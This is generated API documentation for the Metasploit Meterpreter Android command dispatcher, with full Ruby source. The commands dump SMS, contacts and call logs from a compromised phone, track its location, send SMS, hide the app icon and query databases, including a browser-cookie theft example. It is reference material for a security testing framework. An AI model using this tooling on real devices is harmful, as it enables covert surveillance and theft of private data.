Class: Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Android
Overview
extension by Anwar Mohamed (@anwarelmakrahy)
Constant Summary
Extensions::Android::COMMAND_ID_ANDROID_ACTIVITY_START, Extensions::Android::COMMAND_ID_ANDROID_CHECK_ROOT, Extensions::Android::COMMAND_ID_ANDROID_DEVICE_SHUTDOWN, Extensions::Android::COMMAND_ID_ANDROID_DUMP_CALLLOG, Extensions::Android::COMMAND_ID_ANDROID_DUMP_CONTACTS, Extensions::Android::COMMAND_ID_ANDROID_DUMP_SMS, Extensions::Android::COMMAND_ID_ANDROID_GEOLOCATE, Extensions::Android::COMMAND_ID_ANDROID_HIDE_APP_ICON, Extensions::Android::COMMAND_ID_ANDROID_INTERVAL_COLLECT, Extensions::Android::COMMAND_ID_ANDROID_SEND_SMS, Extensions::Android::COMMAND_ID_ANDROID_SET_AUDIO_MODE, Extensions::Android::COMMAND_ID_ANDROID_SET_WALLPAPER, Extensions::Android::COMMAND_ID_ANDROID_SQLITE_QUERY, Extensions::Android::COMMAND_ID_ANDROID_WAKELOCK, Extensions::Android::COMMAND_ID_ANDROID_WLAN_GEOLOCATE, Extensions::Android::EXTENSION_ID_ANDROID, Extensions::Android::TLV_TYPE_ACTIVITY_START_ERROR, Extensions::Android::TLV_TYPE_ACTIVITY_START_RESULT, Extensions::Android::TLV_TYPE_AUDIO_MODE, Extensions::Android::TLV_TYPE_CALLLOG_DATE, Extensions::Android::TLV_TYPE_CALLLOG_DURATION, Extensions::Android::TLV_TYPE_CALLLOG_GROUP, Extensions::Android::TLV_TYPE_CALLLOG_NAME, Extensions::Android::TLV_TYPE_CALLLOG_NUMBER, Extensions::Android::TLV_TYPE_CALLLOG_TYPE, Extensions::Android::TLV_TYPE_CELL_ACTIVE_CDMA, Extensions::Android::TLV_TYPE_CELL_ACTIVE_GSM, Extensions::Android::TLV_TYPE_CELL_BASE_ID, Extensions::Android::TLV_TYPE_CELL_BASE_LAT, Extensions::Android::TLV_TYPE_CELL_BASE_LONG, Extensions::Android::TLV_TYPE_CELL_CID, Extensions::Android::TLV_TYPE_CELL_LAC, Extensions::Android::TLV_TYPE_CELL_NEIGHBOR, Extensions::Android::TLV_TYPE_CELL_NET_ID, Extensions::Android::TLV_TYPE_CELL_NET_TYPE, Extensions::Android::TLV_TYPE_CELL_PSC, Extensions::Android::TLV_TYPE_CELL_RSSI, Extensions::Android::TLV_TYPE_CELL_SYSTEM_ID, Extensions::Android::TLV_TYPE_CHECK_ROOT_BOOL, Extensions::Android::TLV_TYPE_COLLECT_ACTION, Extensions::Android::TLV_TYPE_COLLECT_RESULT_CELL, Extensions::Android::TLV_TYPE_COLLECT_RESULT_GEO, Extensions::Android::TLV_TYPE_COLLECT_RESULT_GROUP, Extensions::Android::TLV_TYPE_COLLECT_RESULT_TIMESTAMP, Extensions::Android::TLV_TYPE_COLLECT_RESULT_WIFI, Extensions::Android::TLV_TYPE_COLLECT_RESULT_WIFI_BSSID, Extensions::Android::TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL, Extensions::Android::TLV_TYPE_COLLECT_RESULT_WIFI_SSID, Extensions::Android::TLV_TYPE_COLLECT_TIMEOUT, Extensions::Android::TLV_TYPE_COLLECT_TYPE, Extensions::Android::TLV_TYPE_CONTACT_EMAIL, Extensions::Android::TLV_TYPE_CONTACT_GROUP, Extensions::Android::TLV_TYPE_CONTACT_NAME, Extensions::Android::TLV_TYPE_CONTACT_NUMBER, Extensions::Android::TLV_TYPE_GEO_LAT, Extensions::Android::TLV_TYPE_GEO_LONG, Extensions::Android::TLV_TYPE_ICON_NAME, Extensions::Android::TLV_TYPE_SHUTDOWN_TIMER, Extensions::Android::TLV_TYPE_SMS_ADDRESS, Extensions::Android::TLV_TYPE_SMS_BODY, Extensions::Android::TLV_TYPE_SMS_DATE, Extensions::Android::TLV_TYPE_SMS_DR, Extensions::Android::TLV_TYPE_SMS_GROUP, Extensions::Android::TLV_TYPE_SMS_SR, Extensions::Android::TLV_TYPE_SMS_STATUS, Extensions::Android::TLV_TYPE_SMS_TYPE, Extensions::Android::TLV_TYPE_SQLITE_ERROR, Extensions::Android::TLV_TYPE_SQLITE_NAME, Extensions::Android::TLV_TYPE_SQLITE_QUERY, Extensions::Android::TLV_TYPE_SQLITE_RESULT_COLS, Extensions::Android::TLV_TYPE_SQLITE_RESULT_GROUP, Extensions::Android::TLV_TYPE_SQLITE_RESULT_ROW, Extensions::Android::TLV_TYPE_SQLITE_VALUE, Extensions::Android::TLV_TYPE_SQLITE_WRITE, Extensions::Android::TLV_TYPE_URI_STRING, Extensions::Android::TLV_TYPE_WALLPAPER_DATA, Extensions::Android::TLV_TYPE_WLAN_BSSID, Extensions::Android::TLV_TYPE_WLAN_GROUP, Extensions::Android::TLV_TYPE_WLAN_LEVEL, Extensions::Android::TLV_TYPE_WLAN_SSID
Instance Attribute Summary
#shell, #tab_complete_items
Instance Method Summary
collapse
#active_db?, #create_cracked_credential, #create_credential, #create_credential_and_login, #create_credential_login, #db, #db_warning_given?, #get_client, #get_host, #inside_workspace_boundary?, #invalidate_login, #mytask, #myworkspace, #myworkspace_id, #report_auth_info, #report_client, #report_exploit, #report_host, #report_loot, #report_note, #report_service, #report_vuln, #report_web_form, #report_web_page, #report_web_site, #report_web_vuln, #store_cred, #store_local, #store_loot
optionally, optionally_active_record_railtie, optionally_include_metasploit_credential_creation, #optionally_include_metasploit_credential_creation, optionally_require_metasploit_db_gem_engines
check_hash, #client, #docs_dir, #filter_commands, #initialize, #log_error, #msf_loaded?, #session, set_hash, #unknown_command
#cmd_background, #cmd_background_help, #cmd_exit, #cmd_irb, #cmd_irb_help, #cmd_irb_tabs, #cmd_pry, #cmd_pry_help, #cmd_resource, #cmd_resource_help, #cmd_resource_tabs, #cmd_sessions, #cmd_sessions_help
#cmd_help, #cmd_help_help, #cmd_help_tabs, #deprecated_cmd, #deprecated_commands, #deprecated_help, #docs_dir, #help_to_s, included, #initialize, #print, #print_error, #print_good, #print_line, #print_status, #print_warning, #tab_complete_directory, #tab_complete_filenames, #tab_complete_generic, #tab_complete_source_address, #unknown_command, #update_prompt
Instance Method Details
#cmd_activity_start(*args) ⇒ Object
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
|
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb', line 621
def cmd_activity_start(*args)
if (args.length < 1)
print_line("Usage: activity_start <uri>\n")
print_line("Start an Android activity from a uri")
return
end
uri = args[0]
result = client.android.activity_start(uri)
if result.nil?
print_status("Intent started")
else
print_error("Error: #{result}")
end
end
|
#cmd_check_root(*args) ⇒ Object
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
|
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb', line 483
def cmd_check_root(*args)
check_root_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ]
)
check_root_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
print_line('Usage: check_root [options]')
print_line('Check if device is rooted.')
print_line(check_root_opts.usage)
return
end
end
is_rooted = client.android.check_root
if is_rooted
print_good('Device is rooted')
else
print_status('Device is not rooted')
end
end
|
#cmd_device_shutdown(*args) ⇒ Object
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
|
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb', line 132
def cmd_device_shutdown(*args)
seconds = 0
device_shutdown_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-t' => [ false, 'Shutdown after n seconds']
)
device_shutdown_opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line('Usage: device_shutdown [options]')
print_line('Shutdown device.')
print_line(device_shutdown_opts.usage)
return
when '-t'
seconds = val.to_i
end
end
res = client.android.device_shutdown(seconds)
if res
print_status("Device will shutdown #{seconds > 0 ? ('after ' + seconds + ' seconds') : 'now'}")
else
print_error('Device shutdown failed')
end
end
|
#cmd_dump_calllog(*args) ⇒ Object
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
|
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb', line 423
def cmd_dump_calllog(*args)
path = "calllog_dump_#{::Time.new.strftime('%Y%m%d%H%M%S')}.txt"
dump_calllog_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-o' => [ true, 'Output path for call log']
)
dump_calllog_opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line('Usage: dump_calllog [options]')
print_line('Get call log.')
print_line(dump_calllog_opts.usage)
return
when '-o'
path = val
end
end
log = client.android.dump_calllog
if log.count > 0
print_status("Fetching #{log.count} #{log.count == 1 ? 'entry' : 'entries'}")
begin
info = client.sys.config.sysinfo
data = ""
data << "\n=================\n"
data << "[+] Call log dump\n"
data << "=================\n\n"
time = ::Time.new
data << "Date: #{time.inspect}\n"
data << "OS: #{info['OS']}\n"
data << "Remote IP: #{client.sock.peerhost}\n"
data << "Remote Port: #{client.sock.peerport}\n\n"
log.each_with_index do |a, index|
data << "##{index.to_i + 1}\n"
data << "Number\t: #{a['number']}\n"
data << "Name\t: #{a['name']}\n"
data << "Date\t: #{a['date']}\n"
data << "Type\t: #{a['type']}\n"
data << "Duration: #{a['duration']}\n\n"
end
::File.write(path, data)
print_status("Call log saved to #{path}")
return true
rescue
print_error("Error getting call log: #{$ERROR_INFO}")
return false
end
else
print_status('No call log entries were found!')
return false
end
end
|
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
|
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb', line 277
def cmd_dump_contacts(*args)
path = "contacts_dump_#{::Time.new.strftime('%Y%m%d%H%M%S')}"
format = :text
dump_contacts_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-o' => [ true, 'Output path for contacts list' ],
'-f' => [ true, 'Output format for contacts list (text, csv, vcard)' ]
)
dump_contacts_opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line('Usage: dump_contacts [options]')
print_line('Get contacts list.')
print_line(dump_contacts_opts.usage)
return
when '-o'
path = val
when '-f'
case val
when 'text'
format = :text
when 'csv'
format = :csv
when 'vcard'
format = :vcard
else
print_error('Invalid output format specified')
return
end
end
end
contact_list = client.android.dump_contacts
if contact_list.count > 0
print_status("Fetching #{contact_list.count} #{contact_list.count == 1 ? 'contact' : 'contacts'} into list")
begin
data = ''
case format
when :text
info = client.sys.config.sysinfo
path << '.txt' unless path.end_with?('.txt')
data << "\n======================\n"
data << "[+] Contacts list dump\n"
data << "======================\n\n"
time = ::Time.new
data << "Date: #{time.inspect}\n"
data << "OS: #{info['OS']}\n"
data << "Remote IP: #{client.sock.peerhost}\n"
data << "Remote Port: #{client.sock.peerport}\n\n"
contact_list.each_with_index do |c, index|
data << "##{index.to_i + 1}\n"
data << "Name\t: #{c['name']}\n"
c['number'].each do |n|
data << "Number\t: #{n}\n"
end
c['email'].each do |n|
data << "Email\t: #{n}\n"
end
data << "\n"
end
when :csv
path << '.csv' unless path.end_with?('.csv')
contact_list.each do |contact|
data << contact.values.to_csv
end
when :vcard
path << '.vcf' unless path.end_with?('.vcf')
contact_list.each do |contact|
data << "BEGIN:VCARD\n"
data << "VERSION:3.0\n"
data << "FN:#{contact['name']}\n"
contact['number'].each do |number|
data << "TEL:#{number}\n"
end
contact['email'].each do |email|
data << "EMAIL:#{email}\n"
end
data << "END:VCARD\n"
end
end
::File.write(path, data)
print_status("Contacts list saved to: #{path}")
return true
rescue
print_error("Error getting contacts list: #{$ERROR_INFO}")
return false
end
else
print_status('No contacts were found!')
return false
end
end
|
#cmd_dump_sms(*args) ⇒ Object
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
|
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb', line 190
def cmd_dump_sms(*args)
path = "sms_dump_#{::Time.new.strftime('%Y%m%d%H%M%S')}.txt"
dump_sms_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-o' => [ true, 'Output path for sms list']
)
dump_sms_opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line('Usage: dump_sms [options]')
print_line('Get sms messages.')
print_line(dump_sms_opts.usage)
return
when '-o'
path = val
end
end
sms_list = client.android.dump_sms
if sms_list.count > 0
print_status("Fetching #{sms_list.count} sms #{sms_list.count == 1 ? 'message' : 'messages'}")
begin
info = client.sys.config.sysinfo
data = ""
data << "\n=====================\n"
data << "[+] SMS messages dump\n"
data << "=====================\n\n"
time = ::Time.new
data << "Date: #{time.inspect}\n"
data << "OS: #{info['OS']}\n"
data << "Remote IP: #{client.sock.peerhost}\n"
data << "Remote Port: #{client.sock.peerport}\n\n"
sms_list.each_with_index do |a, index|
data << "##{index.to_i + 1}\n"
type = 'Unknown'
if a['type'] == '1'
type = 'Incoming'
elsif a['type'] == '2'
type = 'Outgoing'
end
status = 'Unknown'
if a['status'] == '-1'
status = 'NOT_RECEIVED'
elsif a['status'] == '1'
status = 'SME_UNABLE_TO_CONFIRM'
elsif a['status'] == '0'
status = 'SUCCESS'
elsif a['status'] == '64'
status = 'MASK_PERMANENT_ERROR'
elsif a['status'] == '32'
status = 'MASK_TEMPORARY_ERROR'
elsif a['status'] == '2'
status = 'SMS_REPLACED_BY_SC'
end
data << "Type\t: #{type}\n"
time = a['date'].to_i / 1000
time = ::Time.at(time)
data << "Date\t: #{time.strftime('%Y-%m-%d %H:%M:%S')}\n"
data << "Address\t: #{a['address']}\n"
data << "Status\t: #{status}\n"
data << "Message\t: #{a['body']}\n\n"
end
::File.write(path, data)
print_status("SMS #{sms_list.count == 1 ? 'message' : 'messages'} saved to: #{path}")
return true
rescue
print_error("Error getting messages: #{$ERROR_INFO}")
return false
end
else
print_status('No sms messages were found!')
return false
end
end
|
#cmd_geolocate(*args) ⇒ Object
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
|
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb', line 388
def cmd_geolocate(*args)
generate_map = false
geolocate_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-g' => [ false, 'Generate map using google-maps']
)
geolocate_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
print_line('Usage: geolocate [options]')
print_line('Get current location using geolocation.')
print_line(geolocate_opts.usage)
return
when '-g'
generate_map = true
end
end
geo = client.android.geolocate
print_status('Current Location:')
print_line("\tLatitude: #{geo[0]['lat']}")
print_line("\tLongitude: #{geo[0]['long']}\n")
print_line("To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}&sensor=true\n")
if generate_map
link = "https://maps.google.com/maps?q=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}"
print_status("Generated map on google-maps:")
print_status(link)
Rex::Compat.open_browser(link)
end
end
|
#cmd_hide_app_icon(*args) ⇒ Object
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
|
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb', line 637
def cmd_hide_app_icon(*args)
hide_app_icon_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ]
)
hide_app_icon_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
print_line('Usage: hide_app_icon [options]')
print_line('Hide the application icon from the launcher.')
print_line(hide_app_icon_opts.usage)
return
end
end
result = client.android.hide_app_icon
if result
print_status("Activity #{result} was hidden")
end
end
|
#cmd_interval_collect(*args) ⇒ Object
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
|
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb', line 67
def cmd_interval_collect(*args)
@@interval_collect_opts ||= Rex::Parser::Arguments.new(
'-h' => [false, 'Help Banner'],
'-a' => [true, "Action (required, one of: #{client.android.collect_actions.join(', ')})"],
'-c' => [true, "Collector type (required, one of: #{client.android.collect_types.join(', ')})"],
'-t' => [true, 'Collect poll timeout period in seconds (default: 30)']
)
opts = {
action: nil,
type: nil,
timeout: 30
}
@@interval_collect_opts.parse(args) do |opt, idx, val|
case opt
when '-a'
opts[:action] = val.downcase
when '-c'
opts[:type] = val.downcase
when '-t'
opts[:timeout] = val.to_i
opts[:timeout] = 30 if opts[:timeout] <= 0
end
end
unless client.android.collect_actions.include?(opts[:action])
interval_collect_usage
return
end
args.shift.downcase
unless client.android.collect_types.include?(opts[:type])
interval_collect_usage
return
end
result = client.android.interval_collect(opts)
if result[:headers].length > 0 && result[:entries].length > 0
= "Captured #{opts[:type]} data"
if result[:timestamp]
time = ::Time.at(result[:timestamp]).to_datetime
<< " at #{time.strftime('%Y-%m-%d %H:%M:%S')}"
end
table = Rex::Text::Table.new(
'Header' => ,
'SortIndex' => 0,
'Columns' => result[:headers],
'Indent' => 0
)
result[:entries].each do |e|
table << e
end
print_line
print_line(table.to_s)
else
print_good('Interval action completed successfully')
end
end
|
#cmd_send_sms(*args) ⇒ Object
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
|
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb', line 508
def cmd_send_sms(*args)
send_sms_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-d' => [ true, 'Destination number' ],
'-t' => [ true, 'SMS body text' ],
'-r' => [ false, 'Wait for delivery report' ]
)
dest = ''
body = ''
dr = false
send_sms_opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line('Usage: send_sms -d <number> -t <sms body>')
print_line('Sends SMS messages to specified number.')
print_line(send_sms_opts.usage)
return
when '-d'
dest = val
when '-t'
body = val
body.gsub!('\n',"\n")
when '-r'
dr = true
end
end
if dest.to_s.empty? || body.to_s.empty?
print_error("You must enter both a destination address -d and the SMS text body -t")
print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."')
print_line(send_sms_opts.usage)
return
end
sent = client.android.send_sms(dest, body, dr)
if dr
if sent[0] == "Transmission successful"
print_good("SMS sent - #{sent[0]}")
else
print_error("SMS send failed - #{sent[0]}")
end
if sent[1] == "Transmission successful"
print_good("SMS delivered - #{sent[1]}")
else
print_error("SMS delivery failed - #{sent[1]}")
end
else
if sent == "Transmission successful"
print_good("SMS sent - #{sent}")
else
print_error("SMS send failed - #{sent}")
end
end
end
|
#cmd_set_audio_mode(*args) ⇒ Object
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
|
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb', line 160
def cmd_set_audio_mode(*args)
help = false
mode = 1
set_audio_mode_opts = Rex::Parser::Arguments.new(
'-h' => [ false, "Help Banner" ],
'-m' => [ true, "Set Mode - (0 - Off, 1 - Normal, 2 - Max) (Default: '#{mode}')"]
)
set_audio_mode_opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
help = true
when '-m'
mode = val.to_i
else
help = true
end
end
if help || mode < 0 || mode > 2
print_line('Usage: set_audio_mode [options]')
print_line('Set Ringer mode.')
print_line(set_audio_mode_opts.usage)
return
end
client.android.set_audio_mode(mode)
print_status("Ringer mode was changed to #{mode}!")
end
|
#cmd_sqlite_query(*args) ⇒ Object
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
|
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb', line 658
def cmd_sqlite_query(*args)
sqlite_query_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-d' => [ true, 'The sqlite database file'],
'-q' => [ true, 'The sqlite statement to execute'],
'-w' => [ false, 'Open the database in writable mode (for INSERT/UPDATE statements)']
)
writeable = false
database = ''
query = ''
sqlite_query_opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: sqlite_query -d <database_file> -q <statement>\n")
print_line(sqlite_query_opts.usage)
return
when '-d'
database = val
when '-q'
query = val
when '-w'
writeable = true
end
end
if database.blank? || query.blank?
print_error("You must enter both a database files and a query")
print_error("e.g. sqlite_query -d /data/data/com.android.browser/databases/webviewCookiesChromium.db -q 'SELECT * from cookies'")
print_line(sqlite_query_opts.usage)
return
end
result = client.android.sqlite_query(database, query, writeable)
unless writeable
= "#{query} on database file #{database}"
table = Rex::Text::Table.new(
'Header' => ,
'Columns' => result[:columns],
'Indent' => 0
)
result[:rows].each do |e|
table << e
end
print_line
print_line(table.to_s)
end
end
|
#cmd_wakelock(*args) ⇒ Object
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
|
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb', line 707
def cmd_wakelock(*args)
wakelock_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-r' => [ false, 'Release wakelock' ],
'-w' => [ false, 'Turn screen on' ],
'-f' => [ true, 'Advanced Wakelock flags (e.g 268435456)' ],
)
flags = 1 wakelock_opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line('Usage: wakelock [options]')
print_line(wakelock_opts.usage)
return
when '-r'
flags = 0
when '-w'
client.android.wakelock(0)
flags = 268435482
when '-f'
flags = val.to_i
end
end
client.android.wakelock(flags)
if flags == 0
print_status("Wakelock was released")
else
print_status("Wakelock was acquired")
end
end
|
#cmd_wlan_geolocate(*args) ⇒ Object
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
|
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb', line 566
def cmd_wlan_geolocate(*args)
wlan_geolocate_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-a' => [ true, 'API key' ],
)
api_key = ''
wlan_geolocate_opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line('Usage: wlan_geolocate')
print_line('Tries to get device geolocation from WLAN information and Google\'s API')
print_line(wlan_geolocate_opts.usage)
return
when '-a'
api_key = val
end
end
if api_key.blank?
print_error("You must enter an api_key")
print_error("e.g. wlan_geolocate -a YOUR_API_KEY")
print_line(wlan_geolocate_opts.usage)
return
end
log = client.android.wlan_geolocate
wlan_list = []
log.each do |x|
mac = x['bssid']
ssid = x['ssid']
ss = x['level']
wlan_list << [mac, ssid, ss.to_s]
end
if wlan_list.to_s.empty?
print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.")
return
end
g = Rex::Google::Geolocation.new
g.set_api_key(api_key)
wlan_list.each do |wlan|
g.add_wlan(wlan[0], wlan[2]) end
begin
g.fetch!
rescue RuntimeError => e
print_error("Error: #{e}")
else
print_status(g.to_s)
print_status("Google Maps URL: #{g.google_maps_url}")
end
end
|
#commands ⇒ Object
List of supported commands.
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb', line 23
def commands
all = {
'dump_sms' => 'Get sms messages',
'dump_contacts' => 'Get contacts list',
'geolocate' => 'Get current lat-long using geolocation',
'dump_calllog' => 'Get call log',
'check_root' => 'Check if device is rooted',
'device_shutdown' => 'Shutdown device',
'send_sms' => 'Sends SMS from target session',
'wlan_geolocate' => 'Get current lat-long using WLAN information',
'interval_collect' => 'Manage interval collection capabilities',
'activity_start' => 'Start an Android activity from a Uri string',
'hide_app_icon' => 'Hide the app icon from the launcher',
'sqlite_query' => 'Query a SQLite database from storage',
'set_audio_mode' => 'Set Ringer Mode',
'wakelock' => 'Enable/Disable Wakelock',
}
reqs = {
'dump_sms' => [COMMAND_ID_ANDROID_DUMP_SMS],
'dump_contacts' => [COMMAND_ID_ANDROID_DUMP_CONTACTS],
'geolocate' => [COMMAND_ID_ANDROID_GEOLOCATE],
'dump_calllog' => [COMMAND_ID_ANDROID_DUMP_CALLLOG],
'check_root' => [COMMAND_ID_ANDROID_CHECK_ROOT],
'device_shutdown' => [COMMAND_ID_ANDROID_DEVICE_SHUTDOWN],
'send_sms' => [COMMAND_ID_ANDROID_SEND_SMS],
'wlan_geolocate' => [COMMAND_ID_ANDROID_WLAN_GEOLOCATE],
'interval_collect' => [COMMAND_ID_ANDROID_INTERVAL_COLLECT],
'activity_start' => [COMMAND_ID_ANDROID_ACTIVITY_START],
'hide_app_icon' => [COMMAND_ID_ANDROID_HIDE_APP_ICON],
'sqlite_query' => [COMMAND_ID_ANDROID_SQLITE_QUERY],
'set_audio_mode' => [COMMAND_ID_ANDROID_SET_AUDIO_MODE],
'wakelock' => [COMMAND_ID_ANDROID_WAKELOCK],
}
filter_commands(all, reqs)
end
|
#interval_collect_usage ⇒ Object
59
60
61
62
63
64
65
|
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb', line 59
def interval_collect_usage
print_line('Usage: interval_collect <parameters>')
print_line
print_line('Specifies an action to perform on a collector type.')
print_line
print_line(@@interval_collect_opts.usage)
end
|
#name ⇒ Object
743
744
745
|
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb', line 743
def name
'Android'
end
|